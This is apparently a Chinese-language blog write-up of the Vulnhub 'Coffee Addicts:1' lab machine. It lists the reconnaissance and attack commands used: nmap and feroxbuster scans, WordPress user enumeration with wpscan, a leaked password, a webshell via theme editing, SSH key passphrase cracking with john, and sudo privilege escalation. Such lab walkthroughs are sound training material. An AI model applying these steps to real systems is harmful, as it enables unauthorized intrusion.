Vulnhub: Coffee Addicts:1靶机

发布时间 2023-07-20 14:36:39作者: ctostm

kali:192.168.111.111

靶机:192.168.111.158

信息收集

端口扫描

nmap -A -sC -v -sV -T5 -p- --script=http-enum 192.168.111.158

image

访问80端口提示添加域名到hosts文件

image

目录爆破,发现wordpress目录

feroxbuster -k -d 1 --url http://coffeeaddicts.thm -w /opt/zidian/SecLists-2022.2/Discovery/Web-Content/directory-list-lowercase-2.3-big.txt -x php,bak,txt,html,sql,zip,phtml,sh,pcapng,pcap,conf -t 1 -C 404,500

image

wpscan收集到wordpress用户名:gus

wpscan --url http://coffeeaddicts.thm/wordpress/ -e u

image

在其中一篇博客中发现密码:gusineedyouback

image

登录后台后修改源码拿shell

image

image

提权

在/home/badbyte/.ssh发现用户私钥

image

爆破用户私钥得到密码:password

john hash --wordlist=/usr/share/wordlists/rockyou.txt

image

利用badbyte用户登录目标ssh后查看sudo权限

image

提升为root

sudo -u root /opt/BadByte/shell
bash

image